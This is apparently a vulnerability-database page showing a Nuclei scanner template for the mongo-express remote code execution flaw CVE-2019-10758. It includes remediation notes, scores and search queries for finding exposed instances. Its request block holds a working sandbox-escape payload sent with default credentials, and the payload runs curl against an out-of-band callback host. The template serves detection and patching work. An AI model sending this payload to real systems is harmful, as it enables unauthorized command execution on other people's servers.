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mongo-express Remote Code Execution

🗓️ 28 Jun 2026 15:08:32Reported by ProjectDiscoveryType 
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mongo-express Remote Code Execution CVE-2019-10758. Vulnerability allows remote code execution via toBSON method, misusing vm dependency to perform exec commands in non-safe environment. Upgrade to version 0.54.0 or higher

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id: CVE-2019-10758

info:
  name: mongo-express Remote Code Execution
  author: princechaddha
  severity: critical
  description: mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Upgrade mongo-express to version 0.54.0 or higher.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10758
    - https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215
    - https://github.com/CLincat/vulcat
    - https://github.com/MelanyRoob/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2019-10758
    epss-score: 0.84845
    epss-percentile: 0.9968
    cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: mongo-express_project
    product: mongo-express
    framework: node.js
    shodan-query:
      - http.title:"Mongo Express"
      - http.title:"mongo express"
    fofa-query: title="mongo express"
    google-query: intitle:"mongo express"
  tags: cve,cve2019,vulhub,mongo,mongo-express,kev,mongo-express_project,node.js,vkev,vuln

http:
  - raw:
      - |
        POST /checkValid HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46cGFzcw==
        Content-Type: application/x-www-form-urlencoded

        document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl {{interactsh-url}}")

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4b0a00483046022100fdabe46e522b175c4951cc365d7e77fa9fce7d1ef9064d57534a59abb1022879022100fff2389e4ca43f9447b1aa3876b99be23668ca82ef4bcda5b8a3ea5c2461806d:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.9High risk
Vulners AI Score7.9
CVSS 29
CVSS 3.19.9
EPSS0.84845
SSVC
136